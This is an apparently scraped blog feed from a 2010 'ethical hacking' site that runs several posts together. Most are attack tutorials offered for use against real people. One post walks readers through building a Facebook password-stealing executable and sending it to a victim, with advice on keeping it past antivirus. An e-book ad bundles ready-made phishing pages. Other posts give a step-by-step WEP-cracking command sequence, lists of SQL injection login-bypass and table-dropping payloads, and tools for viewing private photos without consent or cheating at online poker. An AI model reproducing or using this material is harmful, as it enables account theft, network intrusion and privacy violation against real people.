Hacking Articles » Hacks http://hackingarticles.com The right place to learn all about Ethical Hacking and Internet Security Thu, 19 Aug 2010 21:45:11 +0000 en hourly 1 http://wordpress.org/?v=3.3.1 A Beginner’s Guide to Ethical Hacking [E-Book] http://hackingarticles.com/beginners-guide-ethical-hacking/ http://hackingarticles.com/beginners-guide-ethical-hacking/#comments Thu, 19 Aug 2010 21:45:11 +0000 Bhanu http://hackingarticles.com/?p=869 Hacking GuideLearn What It Takes to Become a Master Hacker A Beginner’s Guide to Ethical Hacking is a complete path for newbie hackers who  are curious to Learn Ethical Hacking Techniques. The Information given in this book will make you a … Continue reading →]]> A Beginners Guide to Ethical Hacking1 A Beginners Guide to Ethical Hacking [E Book]

Learn What It Takes to Become a Master Hacker

A Beginner’s Guide to Ethical Hacking is a complete path for newbie hackers who  are curious to Learn Ethical Hacking Techniques. The Information given in this book will make you a Master in Hacking.

How will the information in the book affect you?

  • You will learn All Ethical hacking techniques and also you will learn to apply them in real world situation.
  • You will start to think like Hackers.
  • Secure your computer from trojans, worms,  adwares etc.
  • Amaze your friends with your newly learned tricks.
  • You will be able to protect your self from future hack attacks.

Bonus 1

bonus1.jpg 249x300 A Beginners Guide to Ethical Hacking [E Book]

1000 Hacking Tutorials

For a limited time only , with the purchase of “A Beginner’s Guide to Ethical Hacking” you will receive the following bonus package! 1000 Hacking Tutorials contains 1000 of the best hacking tutorials of 2010 leaked on the internet!

Bonus 2


Set of Phishers

With the purchase of “A Beginner’s Guide to Ethical Hacking” you will also get a set of 30+ Phishers(Fake Login Pages) already created by the Author!

Its Decision Time!

Now you have heard it all so what are you waiting for.

This book does not demand any prior knowledge about Hacking. So if you are a newbie to the concept of hacking and want to master it from the basics, then this book is for you.

The information given in this underground handbook will put you into a hacker’s mindset and teach you all of the hacker’s secret.So what are you waiting for? Grab “A Beginner’s Guide to Ethical hacking” and start your Hacking Journey.

Regular Price $67.00 Today’s Price $20.00

download A Beginners Guide to Ethical Hacking [E Book]
]]> http://hackingarticles.com/beginners-guide-ethical-hacking/feed/ 7 7 Ways To Speed Up Windows 7 http://hackingarticles.com/speed-up-windows-7/ http://hackingarticles.com/speed-up-windows-7/#comments Tue, 17 Aug 2010 20:45:30 +0000 Bhanu http://hackingarticles.com/?p=861 Windows 7 LogoWith the release of Windows 7, Microsoft may just have introduced the fastest operating system in the world. For those speed junkies who are never satisfied, we have provided a few tips that will help you make your PC even … Continue reading →]]> windows 7 logo 300x300 7 Ways To Speed Up Windows 7

7 Ways to Speed Up Windows 7

With the release of Windows 7, Microsoft may just have introduced the fastest operating system in the world. For those speed junkies who are never satisfied, we have provided a few tips that will help you make your PC even faster.

Disable Automatic Disk Defragmentation

The Automatic Disk Defragmentation feature in Windows is designed to maintain the health of the operating system. However, it also makes Windows run a little slower. You can put an end to this by disabling the feature and manually running at your leisure. To do so, click “Start” and select “Computer.” Next, right click on your primary hard drive and select “Properties.” Lastly, select the “Tools” tab, click “Defragment Now” and uncheck the “Run on a schedule” option.

Utilize ReadyBoost

ReadyBoost is a built-in Windows 7 feature that allows you to use a USB flash drive to enhance system performance. How is this possible? The drive itself acts as additional computer memory!

In order to make use of this feature, you will need a USB drive with at least 2 GB of space. From there, you simply connect the drive to your computer, click “Start” and select “Computer.” Next, click on the USB drive and select “ReadyBoost.” Lastly, select “Use this device” and choose as much capacity as possible below on the “Space to reserve for system speed” slide.

Disable Windows Transparency

The transparency of windows is a great perk from a presentation aspect, but this may not be the case for those with older hardware as it can drastically impact performance. The good thing is that transparency can be disabled with ease. Simply right-click on your desktop, select “Personalize,” choose the active theme and then navigate to “Windows Color.” Finally, uncheck the “Enable Transparency” option.

Disable Unwanted Features

There may be numerous Windows 7 features that you really don’t need. These same features could also slow down your computer. To disable them, click on “Start,” choose “Control Panel” and then select “Programs and features.” Next, select the “Turn Windows features on or off” option, navigate through the list and uncheck all the features you want to disable. Once you are done, simply click “OK” to remove those features.

Disable Startup Services

Startup services are notorious for slowing down performance in XP and Vista. The same holds true for Windows 7. You can disable unwanted services by hitting “Start,” typing “msconfig” in the search bar and clicking “Enter.” Click the “Services Tab” on the next window and deselect the services you do not want to automatically run at startup. While this all depends on preference, services that impact performance the most include “Offline Files,” “Tablet PC Input Services,” Terminal Services,” “Fax” and “Windows Search.”

Disable Minimizing/Maximizing Animations

Many users have already fallen in love with the minimizing and maximizing animation effects of windows. However, some may find it irritating after a while as it can eventually lead to slowdowns. If you want to disable this function, hit “Start,” enter “System Properties Performance” in the search bar and click “OK.” On the next screen, deselect the “Animate window when minimizing and maximizing” option and click “OK.”

Update Your Windows 7 Drivers

Lastly, ensure that you have the latest device drivers made specifically for Windows 7. Since your PC can have hundreds of drivers installed in it at any given time, this task can be tedious. Luckily there are 3rd party utilities out thee such as DriverFinder™, which can greatly speed up this process.

]]> http://hackingarticles.com/speed-up-windows-7/feed/ 10 How to Hack Facebook Password using Facebook Hacker [TUTORIAL] http://hackingarticles.com/how-to-hack-facebook-password-facebook-hacker/ http://hackingarticles.com/how-to-hack-facebook-password-facebook-hacker/#comments Tue, 04 May 2010 11:28:26 +0000 Bhanu http://hackingarticles.com/?p=623 How to Hack a Facebook AccountHACK FACEBOOK PASSWORD Hey guys are you curious to know how to hack facebook using a software or hacking tool? Have you ever wondered how to hack facebook without phishing ,then here is a tool which is coded by me … Continue reading →]]> HACK FACEBOOK PASSWORD

facebook tips tricks 300x207 How to Hack Facebook Password using Facebook Hacker [TUTORIAL]

Hey guys are you curious to know how to hack facebook using a software or hacking tool? Have you ever wondered how to hack facebook without phishing ,then here is a tool which is coded by me exclusively for the readers of HackingArticles.com!

By using this tool you can hack facebook password of your victim. I named this tool as facebook hacker.

Please read the below given tutorial to know how to use this Facebook Hacker tool to Hack Facebook Password.

TUTORIAL

STEP 1: First ensure that you have installed Microsoft .Net Framework. If not, then you can download it from here: Download .Net Framework

STEP 2: DOWNLOAD the Facebook Hacker by Clicking Here!

STEP 3: Extract the downloaded “Facebook Hacker” file using Winrar. (If you don’t have it then you can GET IT HERE)

STEP 4: Open “Facebook Hacker.exe” file.

Capture1 How to Hack Facebook Password using Facebook Hacker [TUTORIAL]

STEP 5: After opening the “Facebook Hacker.exe” file build your password stealer as shown in the image below:

Capture2 300x229 How to Hack Facebook Password using Facebook Hacker [TUTORIAL]

Click on the image to Enlarge it.

STEP 6: Now a new file will be created in the same directory with the name you provided while building (eg. server.exe). Just send the file you created to the victim and if the victim runs this file….W00t….you will get his Facebook account’s username and password to your fake email ID which you provided while building the file.

Capture3 How to Hack Facebook Password using Facebook Hacker [TUTORIAL]

NOTE: The “Stub.exe” file may get detected by your anti-virus. Please don’t open the “Stub.exe” file and don’t delete it too, otherwise the stealer created by you won’t work at all.

The best way to Hack Facebook Password is by using the Sniper Spy remote spy software:

Sniper Spy How to Hack Facebook Password using Facebook Hacker [TUTORIAL]

Many readers of HackingArticles asked me: “How to share the server.exe file with the victim?”.

Here’s the answer: The simplest way of sharing your server.exe file or any file with your friends or the victim is by using Dropbox.

By using Dropbox, you can share any type of file by just following few simple steps. You know what’s so special? IT’S FREE!

So Signup! to Dropbox by Clicking Here!

I hope you liked my tool and this post too. icon smile How to Hack Facebook Password using Facebook Hacker [TUTORIAL]

Please feel free to ask any questions and your suggestions would be great for me. icon smile How to Hack Facebook Password using Facebook Hacker [TUTORIAL]

DISCLAIMER: The tool provided in this article is for Educational & Testing purposes only.

]]> http://hackingarticles.com/how-to-hack-facebook-password-facebook-hacker/feed/ 294 CRACK WIFI – Simple WEP Crack http://hackingarticles.com/crack-wifi-simple-wep-crack/ http://hackingarticles.com/crack-wifi-simple-wep-crack/#comments Sat, 01 May 2010 11:55:23 +0000 Bhanu http://hackingarticles.com/?p=588 Crack WiFiOverview To crack the WEP key for an access point, we need to gather lots of initialization vectors (IVs). Normal network traffic does not typically generate these IVs very quickly. Theoretically, if you are patient, you can gather sufficient IVs … Continue reading →]]> wifi 300x189 CRACK WIFI Simple WEP Crack

Overview

To crack the WEP key for an access point, we need to gather lots of initialization vectors (IVs). Normal network traffic does not typically generate these IVs very quickly. Theoretically, if you are patient, you can gather sufficient IVs to crack the WEP key by simply listening to the network traffic and saving them. Since none of us are patient, we use a technique called injection to speed up the process. Injection involves having the access point (AP) resend selected packets over and over very rapidly. This allows us to capture a large number of IVs in a short period of time.
Equipments used
Wifi Adaptor : Alfa AWUS036H (available on eBay & Amazon)
Software : Backtrack 4 (Free download from http://www.backtrack-linux.org)

Step 1 – Start the wireless interface in monitor mode on AP channel

airmon-ng start wlan1 6
starts wifi interface in channel 6

Step 2 – Test Wireless Device Packet Injection

aireplay-ng -6 -e infosec -a 00:1B:11:24:27:2E  wlan1
-9 means injection
-a 00:1B:11:24:27:2E is the access point MAC address

Step 3 – Start airodump-ng to capture the IVs

airodump-ng -c 6 –bssid 00:1B:11:24:27:2E -w output wlan1

Step 4 – Use aireplay-ng to do a fake authentication with the access point

In order for an access point to accept a packet, the source MAC address must already be associated. If the source MAC address you are injecting is not associated then the AP ignores the packet and sends out a “DeAuthentication” packet in cleartext. In this state, no new IVs are created because the AP is ignoring all the injected packets.
aireplay-ng -1 0 -e infosec -a 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1
-1 means fake authentication
0 reassociation timing in seconds
-e infosec is the wireless network name
-a 00:14:6C:7E:40:80 is the access point MAC address
-h 00:0F:B5:88:AC:82 is our card MAC address
OR
aireplay-ng -1 2 -o 1 -q 10 -e infosec -a 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1
2 – Reauthenticate every 2 seconds.
-o 1 – Send only one set of packets at a time. Default is multiple and this confuses some APs.
-q 10 – Send keep alive packets every 10 seconds.
Troubleshooting Tips

Some access points are configured to only allow selected MAC addresses to associate and connect. If this is the case, you will not be able to successfully do fake authentication unless you know one of the MAC addresses on the allowed list. If you suspect this is the problem, use the following command while trying to do fake authentication. Start another session and…
Run: tcpdump -n -vvv -s0 -e -i | grep -i -E ”(RA:|Authentication|ssoc)”

You would then look for error messages.
If at any time you wish to confirm you are properly associated is to use tcpdump and look at the packets. Start another session and…
Run: “tcpdump -n -e -s0 -vvv -i wlan1”

Here is a typical tcpdump error message you are looking for:
11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:0F:B5:88:AC:82 SA:00:14:6c:7e:40:80   DeAuthentication: Class 3 frame received from nonassociated station
Notice that the access point (00:14:6c:7e:40:80) is telling the source (00:0F:B5:88:AC:82) you are not associated. Meaning, the AP will not process or accept the injected packets.
If you want to select only the DeAuth packets with tcpdump then you can use: “tcpdump -n -e -s0 -vvv -i wlan1 | grep -i DeAuth”. You may need to tweak the phrase “DeAuth” to pick out the exact packets you want.

Step 5 – Start aireplay-ng in ARP request replay mode

aireplay-ng -3 -b 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1

Step 6 – Run aircrack-ng to obtain the WEP key

aircrack-ng -b 00:1B:11:24:27:2E output*.cap
All Done! icon smile CRACK WIFI Simple WEP Crack
]]> http://hackingarticles.com/crack-wifi-simple-wep-crack/feed/ 11 How To Access Blocked Websites? http://hackingarticles.com/proxies-websites/ http://hackingarticles.com/proxies-websites/#comments Thu, 03 Dec 2009 18:43:06 +0000 Bhanu http://hackingarticles.com/?p=341 Proxy WebsitesHow to access blocked websites like Facebook, MySpace, Bebo at school or office? This article suggests workarounds to help you unblock access to restricted websites at universities, school and offices. Background: Blocking access to undesirable Web sites has been a … Continue reading →]]> 4156187118 79cf2afb81 o 300x291 How To Access Blocked Websites?

How to access blocked websites like Facebook, MySpace, Bebo at school or office?

This article suggests workarounds to help you unblock access to restricted websites at universities, school and offices.

Background: Blocking access to undesirable Web sites has been a common government tactic but China, Iran, Saudi Arabia are believed to extend greater censorship over the net than any other country in the world.

Most of the blocked or blacklisted sites in Saudi Arabia, Kuwait and all other GCC countries are about sex, religion, women, health, politics and pop culture. They even block access to websites that sell swimming or bathing suits. In China, websites that talk about sex, Tibet or Democracy are blocked.

Social sites that are often blocked include Google News, Typepad, ebay, Blogger blogs, YouTube, Facebook, Bebo, Myspace, Orkut, MySpace, Pandora, Bebo, Photobucket, Yahoo! Messenger, AOL AIM, Flickr, last.fm, etc.

Proxy websites allows us to bypass our current ISP’s IP and connect to targeted website with a different IP; thus hiding our actual origin from detectable. Internet users use proxy websites for various reasons, some to access websites potentially blocked by their colleges or workplace, some use it to test their scripts. I frequently used them to test geo-location ads or to check if DNS are properly propagated when I adjust their settings.
Instead of changing proxy address (old trick) each time, here’s my personal collection on proxy websites. Full list.

90+ Proxy Websites To Access Blocked Websites

  1. http://www.hidemyass.com
  2. http://www.anonymizer.com
  3. http://www.wujie.net
  4. http://www.ultrareach.net
  5. http://surfshield.net
  6. http://www.guardster.com/subscription/proxy_free.php
  7. http://anonymouse.ws/anonwww.html
  8. http://www.browser-x.com
  9. http://www.spysurfing.com
  10. http://www.xerohour.org/hideme
  11. http://www.proxyz.be
  12. http://www.sc0rian.com/prox
  13. https://www.proxify.us
  14. http://kproxy.com/index.jsp
  15. http://www.brawl-hall.com/pages/proxy.php
  16. http://www.proxify.net
  17. http://proxy.computersteroids.com/index0.php
  18. http://www.unipeak.com
  19. http://flyproxy.com
  20. http://alienproxy.com
  21. http://proxify.com/
  22. http://www.unfilter.net
  23. http://www.proxymouse.com
  24. http://www.surfonym.com/cgi-bin/nph-proxy
  25. http://www.superproxy.be/browse.pl
  26. http://www.websiteguru.com/mrnewguy
  27. http://www.letsproxy.com
  28. http://www.fsurf.com
  29. http://indianproxy.com
  30. http://www.letmeby.com
  31. http://Boredatschool.net
  32. http://www.ibypass.org
  33. http://www.ipzap.com/
  34. https://proxify.biz
  35. http://kproxy.com/index.jsp
  36. http://www.attackcensorship.com/attack-censorship.html
  37. http://mrnewguy.com
  38. http://www.evilsprouts.co.uk/defilter
  39. http://www.proxify.info
  40. http://www.torify.com
  41. http://www.switchproxy.com
  42. http://www.proxifree.com
  43. http://www.secure-tunnel.com/
  44. http://www.proxify.cn
  45. http://www.arnit.net/utilities/webproxy/new
  46. http://www.proxify.co.uk
  47. http://www.betaproxy.com
  48. http://www.proxify.org
  49. http://www.proxychoice.com
  50. http://www.proxysnail.com
  51. http://www.anonypost.com
  52. http://www.thestrongestlinks.com
  53. http://www.hujiko.com
  54. http://www.anonproxy.info
  55. http://www.peoplesproxy.com
  56. http://www.freeproxy.us
  57. http://www.proxyweb.net
  58. http://www.nopath.com
  59. http://urlencoded.com
  60. http://www.pole.ws
  61. http://www.browseany.com
  62. http://www.spiderproxy.com
  63. http://www.clickcop.com
  64. http://www.sneakysurf.com
  65. http://www.mywebtunnel.com
  66. http://www.thewebtunnel.com
  67. http://www.3proxy.com
  68. http://www.yourfreeproxy.com
  69. http://www.proxy7.com
  70. http://www.fireprox.com
  71. http://www.stupidcensorship.com
  72. http://www.letsproxy.com
  73. http://www.sneak2.com
  74. http://www.cecid.com
  75. http://www.freeproxy.ca
  76. http://www.ibypass.org
  77. http://www.goproxing.com
  78. http://www.projectbypass.com/
  79. http://www.ipsecret.com
  80. http://www.nomorelimits.net
  81. http://www.proxify.de
  82. http://www.bywhat.com
  83. http://www.snoopblocker.com
  84. http://www.anonymizer.ru
  85. http://www.proxyking.net/
  86. http://www.perlproxy.com
  87. http://www.proxylord.com
  88. http://tntproxy.com
  89. http://satanproxy.com
  90. http://zombieinvasion.info
  91. http://demonproxy.com
  92. http://www.myfreeproxy.com
  93. http://www.gezcem.com/nph-proxy.pl.old
  94. http://mpleger.de
  95. http://www.the-cloak.com/login.html

Disclaimer

Note that not all of them are working perfectly; some of these websites could be offline too. I’m not encouraging you to use this to bypass sites that you are banned from surfing in colleges, work place, etc. Use them with cautions make sure you know what you are doing. I shall not be responsible for any damages or rules and regulation you violate from using these proxies.

]]> http://hackingarticles.com/proxies-websites/feed/ 13 Top 10 Facebook Hacks http://hackingarticles.com/top-10-facebook-hacks/ http://hackingarticles.com/top-10-facebook-hacks/#comments Thu, 17 Sep 2009 13:34:39 +0000 Bhanu http://hackingarticles.com/?p=239 Facebook HacksFacebook has become very famous in last 1 year. Orkut which was considered to be the best Social networking website has been sidetracked by emerging Social Networking Websites like Facebook and Twitter. Considering the popularity of Facebook we have collected the Most … Continue reading →]]> 3928998086 04d4af9fc0 300x225 Top 10 Facebook Hacks

Facebook has become very famous in last 1 year. Orkut which was considered to be the best Social networking website has been sidetracked by emerging Social Networking Websites like Facebook and Twitter. Considering the popularity of Facebook we have collected the Most Essential Hacks of Facebook and presented them to you.

1.How to View the Album of Any User Even if it is Private

You can use this script to view a photo in the original album, even if you’re not friends with the person.

Get it Here

2. How to Remove Annoying Facebook Advertisement

Get rid of some of the Facebook advertising and sponsored by sections with this tool.

Get it Here

3. How to see Real Profiles from Public Pages

This script redirects to real profiles from the Facebook people pages (public profiles). There is a risk of an infinite redirect loop if not logged in, so be logged in.

Get it Here

4. How to Undo Facebook Changes

If you hate some or all of the new Facebook changes, undo them with these scripts and use what you liked previously.

Get it Here

5. How to View All the Photos from a Person

You can search for pictures of a Facebook member who has tight privacy settings and view all his/ her pictures without his/ her consent.

Get it Here

6. How to Find More Friends at Facebook

Suppose some of your friends have newly joined Facebook and you didn’t even knew. Use this script and it will help you go through your friends’ friends list and find them out.

Get it Here

7. How to Share Files from Facebook

With this box widget, you can share files from your computer through Facebook. Isn’t it great?

Get it Here

8. How to Get a Job from Facebook

Looking for a job? This application gives Facebook users unique access to job information, networking opportunities and other career resources.

Get it Here

9. How to Tighten up the Privacy and still Maintain Communication Convenience

The Private Wall combines the best of both worlds of Facebook: online convenience and communication with more serious privacy settings.

Get it Here

10 How to Cheat Facebook Texas Hold em Poker

This is one of my Favorite hacks and that is why I have saved it for the last one. Using this software you can see the cards of any player and the advanced version of this software allows you to even add credits to your account for free.

Get it Here

]]> http://hackingarticles.com/top-10-facebook-hacks/feed/ 10 Video Tutorial on SQL Injection http://hackingarticles.com/sql-injection-video/ http://hackingarticles.com/sql-injection-video/#comments Thu, 14 May 2009 23:46:21 +0000 Bhanu http://hackingarticles.com/?p=168 Do subscribe and say thanks, If you like this video tutorial.. You can download the shown strings in the video from Here: Click Here To Download! Video only for educational purposes only!]]>

Do subscribe and say thanks, If you like this video tutorial..

You can download the shown strings in the video from Here:

Click Here To Download!

Video only for educational purposes only!

]]> http://hackingarticles.com/sql-injection-video/feed/ 28 What is SQL Injection? http://hackingarticles.com/what-is-sql-injection/ http://hackingarticles.com/what-is-sql-injection/#comments Thu, 14 May 2009 20:52:20 +0000 Bhanu http://hackingarticles.com/?p=159 SQL InjectionSQL injection is most common methodology employed by a hacker to exploit vulnerabilities in software applications. Vulnerabilities are basically weak links in the software that exposes unauthorized data/information to a user. SQL injection occurs when the user input is incorrectly … Continue reading →]]> 3531266995 2a9248df9c What is SQL Injection?

SQL injection is most common methodology employed by a hacker to exploit vulnerabilities in software applications. Vulnerabilities are basically weak links in the software that exposes unauthorized data/information to a user. SQL injection occurs when the user input is incorrectly filtered for embedded SQL statements.
The technique is powerful enough not only to expose the information to the user but also modify and delete the content which could prove disastrous to the company.

SQL injection vulnerabilities have three forms:

Incorrectly filtered special characters: escape characters

This form of SQL injection occurs when the user manipulates the SQL statements using characters such as  ’.  For instance consider that you need to enter username and password while logging into your account. The SQL statement generated will be:
“SELECT * FROM users WHERE password =    ’” + password + “‘;”

Now suppose the userName and/or password so entered are”  ‘ or ‘1’=’1”. So the SQL statement reaching the back end will be:

“SELECT * FROM users WHERE password =’  ‘or ‘1’=’1 ‘;”

Look closely at this statement. It is deciphered by the database as select everything from the table “user” having field name equal to ‘ ‘ or 1=1. During authentication process, this condition will always be valid as 1 will always equal 1. Thus this way the user is given unauthorized access.

List of Some Important inputs used by hackers to use SQL Injection technique are:
a)  ‘ or ‘a’=’a
b)  ‘ or 1=1 –
c)  ‘ or 1=1; –
d)  ‘; select * from *; –
e)  ‘ (Single quote)(Here we look at the error)
f)  ‘; drop table users –

On some SQL servers such as MS SQL Server any valid SQL command may be injected via this method, including the execution of multiple statements. The following value of “username” in the statement below would cause the deletion of the “users” table as well as the selection of all data from the “data” table (in essence revealing the information of every user):
a’;DROP TABLE users; SELECT * FROM data WHERE name LIKE ‘%

Incorrectly handling input data type

This form of SQL injection occurs when the user input is not strongly typed i.e. , the input by the user is not checked for data type constraint. For example consider a field where you are asked to enter your phone number. Since the phone number input is of numeric data type, therefore the input must be checked whether it is numeric or not. If not checked, then the user can send alphanumeric input and embedded SQL statements. Consider the following SQL statement:
“SELECT * FROM user WHERE telephone = “+ input +”;”
Now if I can input alphanumeric data say “11111111;DROP TABLE user” then I have embedded an SQL statement to delete the entire table “user”. This might prove detrimental to the company!!!

If you happen to know the database table name and column names, then any user can perform SQL injection using the following inputs:

  1. ‘ having 1=1 –
  2. ‘ group by user.id having 1=1 –
  3. ‘ group by users.id, users.username, users.password, users.privs having 1=1—
  4. ‘ union select sum(users.username) from users—
  5. ‘ union select sum(id) from users –

Vulnerabilities inside the database server

Sometimes vulnerabilities can exist within the database server software itself, as was the case with the MySQL server’s real_escape_chars() functions.
If the database server is not properly configured then the access to the database can easily be found out by the hacker.
The hacker can get information regarding the database server using the following input:
‘ union select @@version,1,1,1—

  1. Extended Stored Procedure Attacks
  2. sp_who: this will show all users that are currently connected to the database.
  3. xp_readmail, , , , ,@peek=’false’ : this will read all the mails and leave the message as unread.

In the same way there is a list of such extended stored procedures that can be used by the hacker to exploit vulnerabilities existing in software application at the database layer.

]]> http://hackingarticles.com/what-is-sql-injection/feed/ 17 WordPress Hack : Find all the plugins being used on a WP blog http://hackingarticles.com/wordpress-hack-find-all-the-plugins-being-used-on-a-wp-blog/ http://hackingarticles.com/wordpress-hack-find-all-the-plugins-being-used-on-a-wp-blog/#comments Mon, 04 May 2009 11:19:20 +0000 Bhanu http://hackingarticles.byethost17.com/?p=8 Plugins enhance the functionality of WordPress. Plugins are very important for any blogger who wishes to make his/her blog a success. Its the same reason why no blogger would like to reveal what all plugins he/she uses. Here’s a simple … Continue reading →]]> 3475124571 9d76c04868 m Wordpress Hack : Find all the plugins being used on a WP blogPlugins enhance the functionality of WordPress. Plugins are very important for any blogger who wishes to make his/her blog a success. Its the same reason why no blogger would like to reveal what all plugins he/she uses.

Here’s a simple wordpress hack through which you can find ALL the plugins being used on a wordpress blog. It wont work on all but will work for most.

  1. Identify your victim. Let’s say http://www.example.com
  2. In the address bar type the following : http://www.example.com/wp-content/plugins

You should get the list of plugins being used as a directory structure!

The workaround this is to disable directory viewing in their hosting control panels or by adding the following line to the .htaccess file :

Options –Indexes

This returns a 403 error to the user.

via CallingAllGeeks

]]> http://hackingarticles.com/wordpress-hack-find-all-the-plugins-being-used-on-a-wp-blog/feed/ 8